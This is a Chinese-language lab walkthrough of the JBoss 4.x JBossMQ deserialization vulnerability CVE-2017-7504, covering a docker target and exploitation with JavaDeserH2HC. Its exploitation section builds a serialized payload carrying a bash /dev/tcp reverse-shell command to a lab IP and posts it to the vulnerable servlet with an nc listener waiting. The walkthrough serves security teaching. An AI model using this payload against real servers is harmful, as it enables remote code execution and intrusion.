JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
一,漏洞介绍
1.1漏洞简介
Jboss是一个基于J2EE的开放源代码的应用服务器
1.2漏洞影响
影响范围:JBoss AS 4.x及之前版本。
漏洞原理:JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
1.3漏洞路径
/jbossmq-httpil/HTTPServerILServlet
二,环境搭建
环境(ubuntu):http://192.168.163:8080
操作机(Windows):192.168.120.10
2.1使用docker拉取镜像
2.2.启动镜像
docker run -d -p 访问端口:容器内的端口 --name 容器的名称 镜像的标识
-d代表后台运行
-p 访问端口:容器内的端口 为了映射当前linux的端口和容器内的端口
2.3访问到jboss页面
到此靶机环境搭建完成
三,漏洞利用
3.1使用工具JavaDeserH2HC
3.2将ExampleCommonsCollections1WithHashMap,编译并生成序列化数据
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
3.3序列化一个恶意的ser文件(ser全称serialize,序列化恶意数据至文件。),用于反弹shell
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.120.163/4444 0>&1"
3.4nc设置监听端口4444
3.5使用BURP或者curl将数据已POST的方式发送到靶机上,这里以BURP做演示
修改请求方式为POST,右键从文件粘贴
查看监听端已经接收到反弹回来的shell